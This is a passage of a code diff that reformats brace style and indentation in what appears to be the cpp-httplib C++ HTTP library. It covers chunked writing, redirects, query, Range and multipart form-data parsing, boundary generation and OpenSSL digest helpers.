(trailer) { + for (const auto &kv : *trailer) { + std::string field_line = kv.first + ": " + kv.second + "\r\n"; + if (!write_data(strm, field_line.data(), field_line.size())) { + ok = false; + } + } + } + + static const std::string crlf("\r\n"); + if (!write_data(strm, crlf.data(), crlf.size())) { + ok = false; + } + }; + + data_sink.done = [&](void) { + done_with_trailer(nullptr); + }; + + data_sink.done_with_trailer = [&](const Headers &trailer) { + done_with_trailer(&trailer); + }; + + while (data_available && !is_shutting_down()) { + if (!strm.is_writable()) { + error = Error::Write; + return false; + } else if (!content_provider(offset, 0, data_sink)) { + error = Error::Canceled; + return false; + } else if (!ok) { + error = Error::Write; + return false; } - } } - static const std::string crlf("\r\n"); - if (!write_data(strm, crlf.data(), crlf.size())) { ok = false; } - }; - - data_sink.done = [&](void) { done_with_trailer(nullptr); }; - - data_sink.done_with_trailer = [&](const Headers &trailer) { - done_with_trailer(&trailer); - }; - - while (data_available && !is_shutting_down()) { - if (!strm.is_writable()) { - error = Error::Write; - return false; - } else if (!content_provider(offset, 0, data_sink)) { - error = Error::Canceled; - return false; - } else if (!ok) { - error = Error::Write; - return false; - } - } - - error = Error::Success; - return true; + error = Error::Success; + return true; } template inline bool write_content_chunked(Stream &strm, const ContentProvider &content_provider, - const T &is_shutting_down, U &compressor) { - auto error = Error::Success; - return write_content_chunked(strm, content_provider, is_shutting_down, - compressor, error); + const T &is_shutting_down, U &compressor) +{ + auto error = Error::Success; + return write_content_chunked(strm, content_provider, is_shutting_down, + compressor, error); } template inline bool redirect(T &cli, Request &req, Response &res, const std::string &path, const std::string &location, - Error &error) { - Request new_req = req; - new_req.path = path; - new_req.redirect_count_ -= 1; + Error &error) +{ + Request new_req = req; + new_req.path = path; + new_req.redirect_count_ -= 1; - if (res.status == StatusCode::SeeOther_303 && - (req.method != "GET" && req.method != "HEAD")) { - new_req.method = "GET"; - new_req.body.clear(); - new_req.headers.clear(); - } - - Response new_res; - - auto ret = cli.send(new_req, new_res, error); - if (ret) { - req = new_req; - res = new_res; - - if (res.location.empty()) { res.location = location; } - } - return ret; -} - -inline std::string params_to_query_str(const Params ¶ms) { - std::string query; - - for (auto it = params.begin(); it != params.end(); ++it) { - if (it != params.begin()) { query += "&"; } - query += it->first; - query += "="; - query += encode_query_param(it->second); - } - return query; -} - -inline void parse_query_text(const std::string &s, Params ¶ms) { - std::set cache; - split(s.data(), s.data() + s.size(), '&', [&](const char *b, const char *e) { - std::string kv(b, e); - if (cache.find(kv) != cache.end()) { return; } - cache.insert(kv); - - std::string key; - std::string val; - split(b, e, '=', [&](const char *b2, const char *e2) { - if (key.empty()) { - key.assign(b2, e2); - } else { - val.assign(b2, e2); - } - }); - - if (!key.empty()) { - params.emplace(decode_url(key, true), decode_url(val, true)); + if (res.status == StatusCode::SeeOther_303 && + (req.method != "GET" && req.method != "HEAD")) { + new_req.method = "GET"; + new_req.body.clear(); + new_req.headers.clear(); } - }); + + Response new_res; + + auto ret = cli.send(new_req, new_res, error); + if (ret) { + req = new_req; + res = new_res; + + if (res.location.empty()) { + res.location = location; + } + } + return ret; +} + +inline std::string params_to_query_str(const Params ¶ms) +{ + std::string query; + + for (auto it = params.begin(); it != params.end(); ++it) { + if (it != params.begin()) { + query += "&"; + } + query += it->first; + query += "="; + query += encode_query_param(it->second); + } + return query; +} + +inline void parse_query_text(const std::string &s, Params ¶ms) +{ + std::set cache; + split(s.data(), s.data() + s.size(), '&', [&](const char *b, const char *e) { + std::string kv(b, e); + if (cache.find(kv) != cache.end()) { + return; + } + cache.insert(kv); + + std::string key; + std::string val; + split(b, e, '=', [&](const char *b2, const char *e2) { + if (key.empty()) { + key.assign(b2, e2); + } else { + val.assign(b2, e2); + } + }); + + if (!key.empty()) { + params.emplace(decode_url(key, true), decode_url(val, true)); + } + }); } inline bool parse_multipart_boundary(const std::string &content_type, - std::string &boundary) { - auto boundary_keyword = "boundary="; - auto pos = content_type.find(boundary_keyword); - if (pos == std::string::npos) { return false; } - auto end = content_type.find(';', pos); - auto beg = pos + strlen(boundary_keyword); - boundary = trim_double_quotes_copy(content_type.substr(beg, end - beg)); - return !boundary.empty(); -} - -inline void parse_disposition_params(const std::string &s, Params ¶ms) { - std::set cache; - split(s.data(), s.data() + s.size(), ';', [&](const char *b, const char *e) { - std::string kv(b, e); - if (cache.find(kv) != cache.end()) { return; } - cache.insert(kv); - - std::string key; - std::string val; - split(b, e, '=', [&](const char *b2, const char *e2) { - if (key.empty()) { - key.assign(b2, e2); - } else { - val.assign(b2, e2); - } - }); - - if (!key.empty()) { - params.emplace(trim_double_quotes_copy((key)), - trim_double_quotes_copy((val))); + std::string &boundary) +{ + auto boundary_keyword = "boundary="; + auto pos = content_type.find(boundary_keyword); + if (pos == std::string::npos) { + return false; } - }); + auto end = content_type.find(';', pos); + auto beg = pos + strlen(boundary_keyword); + boundary = trim_double_quotes_copy(content_type.substr(beg, end - beg)); + return !boundary.empty(); } -#ifdef CPPHTTPLIB_NO_EXCEPTIONS -inline bool parse_range_header(const std::string &s, Ranges &ranges) { -#else -inline bool parse_range_header(const std::string &s, Ranges &ranges) try { -#endif - static auto re_first_range = std::regex(R"(bytes=(\d*-\d*(?:,\s*\d*-\d*)*))"); - std::smatch m; - if (std::regex_match(s, m, re_first_range)) { - auto pos = static_cast(m.position(1)); - auto len = static_cast(m.length(1)); - auto all_valid_ranges = true; - split(&s[pos], &s[pos + len], ',', [&](const char *b, const char *e) { - if (!all_valid_ranges) { return; } - static auto re_another_range = std::regex(R"(\s*(\d*)-(\d*))"); - std::cmatch cm; - if (std::regex_match(b, e, cm, re_another_range)) { - ssize_t first = -1; - if (!cm.str(1).empty()) { - first = static_cast(std::stoll(cm.str(1))); +inline void parse_disposition_params(const std::string &s, Params ¶ms) +{ + std::set cache; + split(s.data(), s.data() + s.size(), ';', [&](const char *b, const char *e) { + std::string kv(b, e); + if (cache.find(kv) != cache.end()) { + return; } + cache.insert(kv); - ssize_t last = -1; - if (!cm.str(2).empty()) { - last = static_cast(std::stoll(cm.str(2))); - } - - if (first != -1 && last != -1 && first > last) { - all_valid_ranges = false; - return; - } - ranges.emplace_back(std::make_pair(first, last)); - } - }); - return all_valid_ranges; - } - return false; -#ifdef CPPHTTPLIB_NO_EXCEPTIONS -} -#else -} catch (...) { return false; } -#endif - -class MultipartFormDataParser { -public: - MultipartFormDataParser() = default; - - void set_boundary(std::string &&boundary) { - boundary_ = boundary; - dash_boundary_crlf_ = dash_ + boundary_ + crlf_; - crlf_dash_boundary_ = crlf_ + dash_ + boundary_; - } - - bool is_valid() const { return is_valid_; } - - bool parse(const char *buf, size_t n, const ContentReceiver &content_callback, - const MultipartContentHeader &header_callback) { - - buf_append(buf, n); - - while (buf_size() > 0) { - switch (state_) { - case 0: { // Initial boundary - buf_erase(buf_find(dash_boundary_crlf_)); - if (dash_boundary_crlf_.size() > buf_size()) { return true; } - if (!buf_start_with(dash_boundary_crlf_)) { return false; } - buf_erase(dash_boundary_crlf_.size()); - state_ = 1; - break; - } - case 1: { // New entry - clear_file_info(); - state_ = 2; - break; - } - case 2: { // Headers - auto pos = buf_find(crlf_); - if (pos > CPPHTTPLIB_HEADER_MAX_LENGTH) { return false; } - while (pos < buf_size()) { - // Empty line - if (pos == 0) { - if (!header_callback(file_)) { - is_valid_ = false; - return false; + std::string key; + std::string val; + split(b, e, '=', [&](const char *b2, const char *e2) { + if (key.empty()) { + key.assign(b2, e2); + } else { + val.assign(b2, e2); } - buf_erase(crlf_.size()); - state_ = 3; - break; - } + }); - const auto header = buf_head(pos); + if (!key.empty()) { + params.emplace(trim_double_quotes_copy((key)), + trim_double_quotes_copy((val))); + } + }); +} - if (!parse_header(header.data(), header.data() + header.size(), - [&](std::string &&, std::string &&) {})) { - is_valid_ = false; - return false; - } - - static const std::string header_content_type = "Content-Type:"; - - if (start_with_case_ignore(header, header_content_type)) { - file_.content_type = - trim_copy(header.substr(header_content_type.size())); - } else { - static const std::regex re_content_disposition( - R"~(^Content-Disposition:\s*form-data;\s*(.*)$)~", - std::regex_constants::icase); - - std::smatch m; - if (std::regex_match(header, m, re_content_disposition)) { - Params params; - parse_disposition_params(m[1], params); - - auto it = params.find("name"); - if (it != params.end()) { - file_.name = it->second; - } else { - is_valid_ = false; - return false; - } - - it = params.find("filename"); - if (it != params.end()) { file_.filename = it->second; } - - it = params.find("filename*"); - if (it != params.end()) { - // Only allow UTF-8 enconnding... - static const std::regex re_rfc5987_encoding( - R"~(^UTF-8''(.+?)$)~", std::regex_constants::icase); - - std::smatch m2; - if (std::regex_match(it->second, m2, re_rfc5987_encoding)) { - file_.filename = decode_url(m2[1], false); // override... - } else { - is_valid_ = false; - return false; +#ifdef CPPHTTPLIB_NO_EXCEPTIONS +inline bool parse_range_header(const std::string &s, Ranges &ranges) +{ +#else +inline bool parse_range_header(const std::string &s, Ranges &ranges) try +{ +#endif + static auto re_first_range = std::regex(R"(bytes=(\d*-\d*(?:,\s*\d*-\d*)*))"); + std::smatch m; + if (std::regex_match(s, m, re_first_range)) { + auto pos = static_cast(m.position(1)); + auto len = static_cast(m.length(1)); + auto all_valid_ranges = true; + split(&s[pos], &s[pos + len], ',', [&](const char *b, const char *e) { + if (!all_valid_ranges) { + return; + } + static auto re_another_range = std::regex(R"(\s*(\d*)-(\d*))"); + std::cmatch cm; + if (std::regex_match(b, e, cm, re_another_range)) { + ssize_t first = -1; + if (!cm.str(1).empty()) { + first = static_cast(std::stoll(cm.str(1))); } - } + + ssize_t last = -1; + if (!cm.str(2).empty()) { + last = static_cast(std::stoll(cm.str(2))); + } + + if (first != -1 && last != -1 && first > last) { + all_valid_ranges = false; + return; + } + ranges.emplace_back(std::make_pair(first, last)); } - } - buf_erase(pos + crlf_.size()); - pos = buf_find(crlf_); - } - if (state_ != 3) { return true; } - break; - } - case 3: { // Body - if (crlf_dash_boundary_.size() > buf_size()) { return true; } - auto pos = buf_find(crlf_dash_boundary_); - if (pos < buf_size()) { - if (!content_callback(buf_data(), pos)) { - is_valid_ = false; - return false; - } - buf_erase(pos + crlf_dash_boundary_.size()); - state_ = 4; - } else { - auto len = buf_size() - crlf_dash_boundary_.size(); - if (len > 0) { - if (!content_callback(buf_data(), len)) { - is_valid_ = false; - return false; - } - buf_erase(len); - } - return true; - } - break; - } - case 4: { // Boundary - if (crlf_.size() > buf_size()) { return true; } - if (buf_start_with(crlf_)) { - buf_erase(crlf_.size()); - state_ = 1; - } else { - if (dash_.size() > buf_size()) { return true; } - if (buf_start_with(dash_)) { - buf_erase(dash_.size()); - is_valid_ = true; - buf_erase(buf_size()); // Remove epilogue - } else { - return true; - } - } - break; - } - } + }); + return all_valid_ranges; + } + return false; +#ifdef CPPHTTPLIB_NO_EXCEPTIONS +} +#else +} catch (...) +{ + return false; +} +#endif + +class MultipartFormDataParser +{ +public: + MultipartFormDataParser() = default; + + void set_boundary(std::string &&boundary) + { + boundary_ = boundary; + dash_boundary_crlf_ = dash_ + boundary_ + crlf_; + crlf_dash_boundary_ = crlf_ + dash_ + boundary_; } - return true; - } + bool is_valid() const + { + return is_valid_; + } + + bool parse(const char *buf, size_t n, const ContentReceiver &content_callback, + const MultipartContentHeader &header_callback) + { + + buf_append(buf, n); + + while (buf_size() > 0) { + switch (state_) { + case 0: { // Initial boundary + buf_erase(buf_find(dash_boundary_crlf_)); + if (dash_boundary_crlf_.size() > buf_size()) { + return true; + } + if (!buf_start_with(dash_boundary_crlf_)) { + return false; + } + buf_erase(dash_boundary_crlf_.size()); + state_ = 1; + break; + } + case 1: { // New entry + clear_file_info(); + state_ = 2; + break; + } + case 2: { // Headers + auto pos = buf_find(crlf_); + if (pos > CPPHTTPLIB_HEADER_MAX_LENGTH) { + return false; + } + while (pos < buf_size()) { + // Empty line + if (pos == 0) { + if (!header_callback(file_)) { + is_valid_ = false; + return false; + } + buf_erase(crlf_.size()); + state_ = 3; + break; + } + + const auto header = buf_head(pos); + + if (!parse_header(header.data(), header.data() + header.size(), + [&](std::string &&, std::string &&) {})) { + is_valid_ = false; + return false; + } + + static const std::string header_content_type = "Content-Type:"; + + if (start_with_case_ignore(header, header_content_type)) { + file_.content_type = + trim_copy(header.substr(header_content_type.size())); + } else { + static const std::regex re_content_disposition( + R"~(^Content-Disposition:\s*form-data;\s*(.*)$)~", + std::regex_constants::icase); + + std::smatch m; + if (std::regex_match(header, m, re_content_disposition)) { + Params params; + parse_disposition_params(m[1], params); + + auto it = params.find("name"); + if (it != params.end()) { + file_.name = it->second; + } else { + is_valid_ = false; + return false; + } + + it = params.find("filename"); + if (it != params.end()) { + file_.filename = it->second; + } + + it = params.find("filename*"); + if (it != params.end()) { + // Only allow UTF-8 enconnding... + static const std::regex re_rfc5987_encoding( + R"~(^UTF-8''(.+?)$)~", std::regex_constants::icase); + + std::smatch m2; + if (std::regex_match(it->second, m2, re_rfc5987_encoding)) { + file_.filename = decode_url(m2[1], false); // override... + } else { + is_valid_ = false; + return false; + } + } + } + } + buf_erase(pos + crlf_.size()); + pos = buf_find(crlf_); + } + if (state_ != 3) { + return true; + } + break; + } + case 3: { // Body + if (crlf_dash_boundary_.size() > buf_size()) { + return true; + } + auto pos = buf_find(crlf_dash_boundary_); + if (pos < buf_size()) { + if (!content_callback(buf_data(), pos)) { + is_valid_ = false; + return false; + } + buf_erase(pos + crlf_dash_boundary_.size()); + state_ = 4; + } else { + auto len = buf_size() - crlf_dash_boundary_.size(); + if (len > 0) { + if (!content_callback(buf_data(), len)) { + is_valid_ = false; + return false; + } + buf_erase(len); + } + return true; + } + break; + } + case 4: { // Boundary + if (crlf_.size() > buf_size()) { + return true; + } + if (buf_start_with(crlf_)) { + buf_erase(crlf_.size()); + state_ = 1; + } else { + if (dash_.size() > buf_size()) { + return true; + } + if (buf_start_with(dash_)) { + buf_erase(dash_.size()); + is_valid_ = true; + buf_erase(buf_size()); // Remove epilogue + } else { + return true; + } + } + break; + } + } + } + + return true; + } private: - void clear_file_info() { - file_.name.clear(); - file_.filename.clear(); - file_.content_type.clear(); - } - - bool start_with_case_ignore(const std::string &a, - const std::string &b) const { - if (a.size() < b.size()) { return false; } - for (size_t i = 0; i < b.size(); i++) { - if (::tolower(a[i]) != ::tolower(b[i])) { return false; } - } - return true; - } - - const std::string dash_ = "--"; - const std::string crlf_ = "\r\n"; - std::string boundary_; - std::string dash_boundary_crlf_; - std::string crlf_dash_boundary_; - - size_t state_ = 0; - bool is_valid_ = false; - MultipartFormData file_; - - // Buffer - bool start_with(const std::string &a, size_t spos, size_t epos, - const std::string &b) const { - if (epos - spos < b.size()) { return false; } - for (size_t i = 0; i < b.size(); i++) { - if (a[i + spos] != b[i]) { return false; } - } - return true; - } - - size_t buf_size() const { return buf_epos_ - buf_spos_; } - - const char *buf_data() const { return &buf_[buf_spos_]; } - - std::string buf_head(size_t l) const { return buf_.substr(buf_spos_, l); } - - bool buf_start_with(const std::string &s) const { - return start_with(buf_, buf_spos_, buf_epos_, s); - } - - size_t buf_find(const std::string &s) const { - auto c = s.front(); - - size_t off = buf_spos_; - while (off < buf_epos_) { - auto pos = off; - while (true) { - if (pos == buf_epos_) { return buf_size(); } - if (buf_[pos] == c) { break; } - pos++; - } - - auto remaining_size = buf_epos_ - pos; - if (s.size() > remaining_size) { return buf_size(); } - - if (start_with(buf_, pos, buf_epos_, s)) { return pos - buf_spos_; } - - off = pos + 1; + void clear_file_info() + { + file_.name.clear(); + file_.filename.clear(); + file_.content_type.clear(); } - return buf_size(); - } - - void buf_append(const char *data, size_t n) { - auto remaining_size = buf_size(); - if (remaining_size > 0 && buf_spos_ > 0) { - for (size_t i = 0; i < remaining_size; i++) { - buf_[i] = buf_[buf_spos_ + i]; - } + bool start_with_case_ignore(const std::string &a, + const std::string &b) const + { + if (a.size() < b.size()) { + return false; + } + for (size_t i = 0; i < b.size(); i++) { + if (::tolower(a[i]) != ::tolower(b[i])) { + return false; + } + } + return true; } - buf_spos_ = 0; - buf_epos_ = remaining_size; - if (remaining_size + n > buf_.size()) { buf_.resize(remaining_size + n); } + const std::string dash_ = "--"; + const std::string crlf_ = "\r\n"; + std::string boundary_; + std::string dash_boundary_crlf_; + std::string crlf_dash_boundary_; - for (size_t i = 0; i < n; i++) { - buf_[buf_epos_ + i] = data[i]; + size_t state_ = 0; + bool is_valid_ = false; + MultipartFormData file_; + + // Buffer + bool start_with(const std::string &a, size_t spos, size_t epos, + const std::string &b) const + { + if (epos - spos < b.size()) { + return false; + } + for (size_t i = 0; i < b.size(); i++) { + if (a[i + spos] != b[i]) { + return false; + } + } + return true; } - buf_epos_ += n; - } - void buf_erase(size_t size) { buf_spos_ += size; } + size_t buf_size() const + { + return buf_epos_ - buf_spos_; + } - std::string buf_; - size_t buf_spos_ = 0; - size_t buf_epos_ = 0; + const char *buf_data() const + { + return &buf_[buf_spos_]; + } + + std::string buf_head(size_t l) const + { + return buf_.substr(buf_spos_, l); + } + + bool buf_start_with(const std::string &s) const + { + return start_with(buf_, buf_spos_, buf_epos_, s); + } + + size_t buf_find(const std::string &s) const + { + auto c = s.front(); + + size_t off = buf_spos_; + while (off < buf_epos_) { + auto pos = off; + while (true) { + if (pos == buf_epos_) { + return buf_size(); + } + if (buf_[pos] == c) { + break; + } + pos++; + } + + auto remaining_size = buf_epos_ - pos; + if (s.size() > remaining_size) { + return buf_size(); + } + + if (start_with(buf_, pos, buf_epos_, s)) { + return pos - buf_spos_; + } + + off = pos + 1; + } + + return buf_size(); + } + + void buf_append(const char *data, size_t n) + { + auto remaining_size = buf_size(); + if (remaining_size > 0 && buf_spos_ > 0) { + for (size_t i = 0; i < remaining_size; i++) { + buf_[i] = buf_[buf_spos_ + i]; + } + } + buf_spos_ = 0; + buf_epos_ = remaining_size; + + if (remaining_size + n > buf_.size()) { + buf_.resize(remaining_size + n); + } + + for (size_t i = 0; i < n; i++) { + buf_[buf_epos_ + i] = data[i]; + } + buf_epos_ += n; + } + + void buf_erase(size_t size) + { + buf_spos_ += size; + } + + std::string buf_; + size_t buf_spos_ = 0; + size_t buf_epos_ = 0; }; -inline std::string to_lower(const char *beg, const char *end) { - std::string out; - auto it = beg; - while (it != end) { - out += static_cast(::tolower(*it)); - it++; - } - return out; -} - -inline std::string make_multipart_data_boundary() { - static const char data[] = - "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; - - // std::random_device might actually be deterministic on some - // platforms, but due to lack of support in the c++ standard library, - // doing better requires either some ugly hacks or breaking portability. - std::random_device seed_gen; - - // Request 128 bits of entropy for initialization - std::seed_seq seed_sequence{seed_gen(), seed_gen(), seed_gen(), seed_gen()}; - std::mt19937 engine(seed_sequence); - - std::string result = "--cpp-httplib-multipart-data-"; - - for (auto i = 0; i < 16; i++) { - result += data[engine() % (sizeof(data) - 1)]; - } - - return result; -} - -inline bool is_multipart_boundary_chars_valid(const std::string &boundary) { - auto valid = true; - for (size_t i = 0; i < boundary.size(); i++) { - auto c = boundary[i]; - if (!std::isalnum(c) && c != '-' && c != '_') { - valid = false; - break; +inline std::string to_lower(const char *beg, const char *end) +{ + std::string out; + auto it = beg; + while (it != end) { + out += static_cast(::tolower(*it)); + it++; } - } - return valid; + return out; +} + +inline std::string make_multipart_data_boundary() +{ + static const char data[] = + "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + + // std::random_device might actually be deterministic on some + // platforms, but due to lack of support in the c++ standard library, + // doing better requires either some ugly hacks or breaking portability. + std::random_device seed_gen; + + // Request 128 bits of entropy for initialization + std::seed_seq seed_sequence{seed_gen(), seed_gen(), seed_gen(), seed_gen()}; + std::mt19937 engine(seed_sequence); + + std::string result = "--cpp-httplib-multipart-data-"; + + for (auto i = 0; i < 16; i++) { + result += data[engine() % (sizeof(data) - 1)]; + } + + return result; +} + +inline bool is_multipart_boundary_chars_valid(const std::string &boundary) +{ + auto valid = true; + for (size_t i = 0; i < boundary.size(); i++) { + auto c = boundary[i]; + if (!std::isalnum(c) && c != '-' && c != '_') { + valid = false; + break; + } + } + return valid; } template inline std::string serialize_multipart_formdata_item_begin(const T &item, - const std::string &boundary) { - std::string body = "--" + boundary + "\r\n"; - body += "Content-Disposition: form-data; name=\"" + item.name + "\""; - if (!item.filename.empty()) { - body += "; filename=\"" + item.filename + "\""; - } - body += "\r\n"; - if (!item.content_type.empty()) { - body += "Content-Type: " + item.content_type + "\r\n"; - } - body += "\r\n"; + const std::string &boundary) +{ + std::string body = "--" + boundary + "\r\n"; + body += "Content-Disposition: form-data; name=\"" + item.name + "\""; + if (!item.filename.empty()) { + body += "; filename=\"" + item.filename + "\""; + } + body += "\r\n"; + if (!item.content_type.empty()) { + body += "Content-Type: " + item.content_type + "\r\n"; + } + body += "\r\n"; - return body; + return body; } -inline std::string serialize_multipart_formdata_item_end() { return "\r\n"; } - -inline std::string -serialize_multipart_formdata_finish(const std::string &boundary) { - return "--" + boundary + "--\r\n"; +inline std::string serialize_multipart_formdata_item_end() +{ + return "\r\n"; } inline std::string -serialize_multipart_formdata_get_content_type(const std::string &boundary) { - return "multipart/form-data; boundary=" + boundary; +serialize_multipart_formdata_finish(const std::string &boundary) +{ + return "--" + boundary + "--\r\n"; +} + +inline std::string +serialize_multipart_formdata_get_content_type(const std::string &boundary) +{ + return "multipart/form-data; boundary=" + boundary; } inline std::string serialize_multipart_formdata(const MultipartFormDataItems &items, - const std::string &boundary, bool finish = true) { - std::string body; + const std::string &boundary, bool finish = true) +{ + std::string body; - for (const auto &item : items) { - body += serialize_multipart_formdata_item_begin(item, boundary); - body += item.content + serialize_multipart_formdata_item_end(); - } + for (const auto &item : items) { + body += serialize_multipart_formdata_item_begin(item, boundary); + body += item.content + serialize_multipart_formdata_item_end(); + } - if (finish) { body += serialize_multipart_formdata_finish(boundary); } + if (finish) { + body += serialize_multipart_formdata_finish(boundary); + } - return body; + return body; } inline std::pair get_range_offset_and_length(const Request &req, size_t content_length, - size_t index) { - auto r = req.ranges[index]; + size_t index) +{ + auto r = req.ranges[index]; - if (r.first == -1 && r.second == -1) { - return std::make_pair(0, content_length); - } + if (r.first == -1 && r.second == -1) { + return std::make_pair(0, content_length); + } - auto slen = static_cast(content_length); + auto slen = static_cast(content_length); - if (r.first == -1) { - r.first = (std::max)(static_cast(0), slen - r.second); - r.second = slen - 1; - } + if (r.first == -1) { + r.first = (std::max)(static_cast(0), slen - r.second); + r.second = slen - 1; + } - if (r.second == -1) { r.second = slen - 1; } - return std::make_pair(r.first, static_cast(r.second - r.first) + 1); + if (r.second == -1) { + r.second = slen - 1; + } + return std::make_pair(r.first, static_cast(r.second - r.first) + 1); } inline std::string make_content_range_header_field(const std::pair &range, - size_t content_length) { - std::string field = "bytes "; - if (range.first != -1) { field += std::to_string(range.first); } - field += "-"; - if (range.second != -1) { field += std::to_string(range.second); } - field += "/"; - field += std::to_string(content_length); - return field; + size_t content_length) +{ + std::string field = "bytes "; + if (range.first != -1) { + field += std::to_string(range.first); + } + field += "-"; + if (range.second != -1) { + field += std::to_string(range.second); + } + field += "/"; + field += std::to_string(content_length); + return field; } template @@ -4737,70 +5355,83 @@ bool process_multipart_ranges_data(const Request &req, Response &res, const std::string &boundary, const std::string &content_type, SToken stoken, CToken ctoken, - Content content) { - for (size_t i = 0; i < req.ranges.size(); i++) { - ctoken("--"); - stoken(boundary); - ctoken("\r\n"); - if (!content_type.empty()) { - ctoken("Content-Type: "); - stoken(content_type); - ctoken("\r\n"); + Content content) +{ + for (size_t i = 0; i < req.ranges.size(); i++) { + ctoken("--"); + stoken(boundary); + ctoken("\r\n"); + if (!content_type.empty()) { + ctoken("Content-Type: "); + stoken(content_type); + ctoken("\r\n"); + } + + ctoken("Content-Range: "); + const auto &range = req.ranges[i]; + stoken(make_content_range_header_field(range, res.content_length_)); + ctoken("\r\n"); + ctoken("\r\n"); + + auto offsets = get_range_offset_and_length(req, res.content_length_, i); + auto offset = offsets.first; + auto length = offsets.second; + if (!content(offset, length)) { + return false; + } + ctoken("\r\n"); } - ctoken("Content-Range: "); - const auto &range = req.ranges[i]; - stoken(make_content_range_header_field(range, res.content_length_)); - ctoken("\r\n"); - ctoken("\r\n"); + ctoken("--"); + stoken(boundary); + ctoken("--"); - auto offsets = get_range_offset_and_length(req, res.content_length_, i); - auto offset = offsets.first; - auto length = offsets.second; - if (!content(offset, length)) { return false; } - ctoken("\r\n"); - } - - ctoken("--"); - stoken(boundary); - ctoken("--"); - - return true; + return true; } inline bool make_multipart_ranges_data(const Request &req, Response &res, const std::string &boundary, const std::string &content_type, - std::string &data) { - return process_multipart_ranges_data( - req, res, boundary, content_type, - [&](const std::string &token) { data += token; }, - [&](const std::string &token) { data += token; }, - [&](size_t offset, size_t length) { + std::string &data) +{ + return process_multipart_ranges_data( + req, res, boundary, content_type, + [&](const std::string &token) { + data += token; + }, + [&](const std::string &token) { + data += token; + }, + [&](size_t offset, size_t length) { if (offset < res.body.size()) { - data += res.body.substr(offset, length); - return true; + data += res.body.substr(offset, length); + return true; } return false; - }); + }); } inline size_t get_multipart_ranges_data_length(const Request &req, Response &res, const std::string &boundary, - const std::string &content_type) { - size_t data_length = 0; + const std::string &content_type) +{ + size_t data_length = 0; - process_multipart_ranges_data( - req, res, boundary, content_type, - [&](const std::string &token) { data_length += token.size(); }, - [&](const std::string &token) { data_length += token.size(); }, - [&](size_t /*offset*/, size_t length) { + process_multipart_ranges_data( + req, res, boundary, content_type, + [&](const std::string &token) { + data_length += token.size(); + }, + [&](const std::string &token) { + data_length += token.size(); + }, + [&](size_t /*offset*/, size_t length) { data_length += length; return true; - }); + }); - return data_length; + return data_length; } template @@ -4808,78 +5439,92 @@ inline bool write_multipart_ranges_data(Stream &strm, const Request &req, Response &res, const std::string &boundary, const std::string &content_type, - const T &is_shutting_down) { - return process_multipart_ranges_data( - req, res, boundary, content_type, - [&](const std::string &token) { strm.write(token); }, - [&](const std::string &token) { strm.write(token); }, - [&](size_t offset, size_t length) { + const T &is_shutting_down) +{ + return process_multipart_ranges_data( + req, res, boundary, content_type, + [&](const std::string &token) { + strm.write(token); + }, + [&](const std::string &token) { + strm.write(token); + }, + [&](size_t offset, size_t length) { return write_content(strm, res.content_provider_, offset, length, is_shutting_down); - }); + }); } inline std::pair get_range_offset_and_length(const Request &req, const Response &res, - size_t index) { - auto r = req.ranges[index]; + size_t index) +{ + auto r = req.ranges[index]; - if (r.second == -1) { - r.second = static_cast(res.content_length_) - 1; - } + if (r.second == -1) { + r.second = static_cast(res.content_length_) - 1; + } - return std::make_pair(r.first, r.second - r.first + 1); + return std::make_pair(r.first, r.second - r.first + 1); } -inline bool expect_content(const Request &req) { - if (req.method == "POST" || req.method == "PUT" || req.method == "PATCH" || - req.method == "PRI" || req.method == "DELETE") { - return true; - } - // TODO: check if Content-Length is set - return false; +inline bool expect_content(const Request &req) +{ + if (req.method == "POST" || req.method == "PUT" || req.method == "PATCH" || + req.method == "PRI" || req.method == "DELETE") { + return true; + } + // TODO: check if Content-Length is set + return false; } -inline bool has_crlf(const std::string &s) { - auto p = s.c_str(); - while (*p) { - if (*p == '\r' || *p == '\n') { return true; } - p++; - } - return false; +inline bool has_crlf(const std::string &s) +{ + auto p = s.c_str(); + while (*p) { + if (*p == '\r' || *p == '\n') { + return true; + } + p++; + } + return false; } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT -inline std::string message_digest(const std::string &s, const EVP_MD *algo) { - auto context = std::unique_ptr( - EVP_MD_CTX_new(), EVP_MD_CTX_free); +inline std::string message_digest(const std::string &s, const EVP_MD *algo) +{ + auto context = std::unique_ptr( + EVP_MD_CTX_new(), EVP_MD_CTX_free); - unsigned int hash_length = 0; - unsigned char hash[EVP_MAX_MD_SIZE]; + unsigned int hash_length = 0; + unsigned char hash[EVP_MAX_MD_SIZE]; - EVP_DigestInit_ex(context.get(), algo, nullptr); - EVP_DigestUpdate(context.get(), s.c_str(), s.size()); - EVP_DigestFinal_ex(context.get(), hash, &hash_length); + EVP_DigestInit_ex(context.get(), algo, nullptr); + EVP_DigestUpdate(context.get(), s.c_str(), s.size()); + EVP_DigestFinal_ex(context.get(), hash, &hash_length); - std::stringstream ss; - for (auto i = 0u; i < hash_length; ++i) { - ss << std::hex << std::setw(2) << std::setfill('0') - << static_cast(hash[i]); - } + std::stringstream ss; + for (auto i = 0u; i < hash_length; ++i) { + ss << std::hex << std::setw(2) << std::setfill('0') + << static_cast(hash[i]); + } - return ss.str(); + return ss.str(); } -inline std::string MD5(const std::string &s) { - return message_digest(s, EVP_md5()); +inline std::string MD5(const std::string &s) +{ + return message_digest(s, EVP_md5()); } -inline std::string SHA_256(const std::string &s) { - return message_digest(s, EVP_sha256()); +inline std::string SHA_256(const std::string &s) +{ + return message_digest(s, EVP_sha256()); } -inline std::string SHA_512(const std::string &s) { - return message_digest(s, EVP_sha512()); +inline std::string SHA_512(const std::string &s) +{ + return message_digest(s, EVP_sha512()); } #endif @@ -4887,29 +5532,32 @@ inline std::string SHA_512(const std::string &s) { #ifdef _WIN32 // NOTE: This code came up with the following stackoverflow post: // https://stackoverflow.com/questions/9507184/can-openssl-on-windows-use-the-system-certificate-store -inline bool load_system_certs_on_windows(X509_STORE *store) { - auto hStore = CertOpenSystemStoreW((HCRYPTPROV_LEGACY)NULL, L"ROOT"); - if (!hStore) { return false; } - - auto result = false; - PCCERT_CONTEXT pContext = NULL; - while ((pContext = CertEnumCertificatesInStore(hStore, pContext)) != - nullptr) { - auto encoded_cert = - static_cast(pContext->pbCertEncoded); - - auto x509 = d2i_X509(NULL, &encoded_cert, pContext->cbCertEncoded); - if (x509) { - X509_STORE_add_cert(store, x509); - X509_free(x509); - result = true; +inline bool load_system_certs_on_windows(X509_STORE 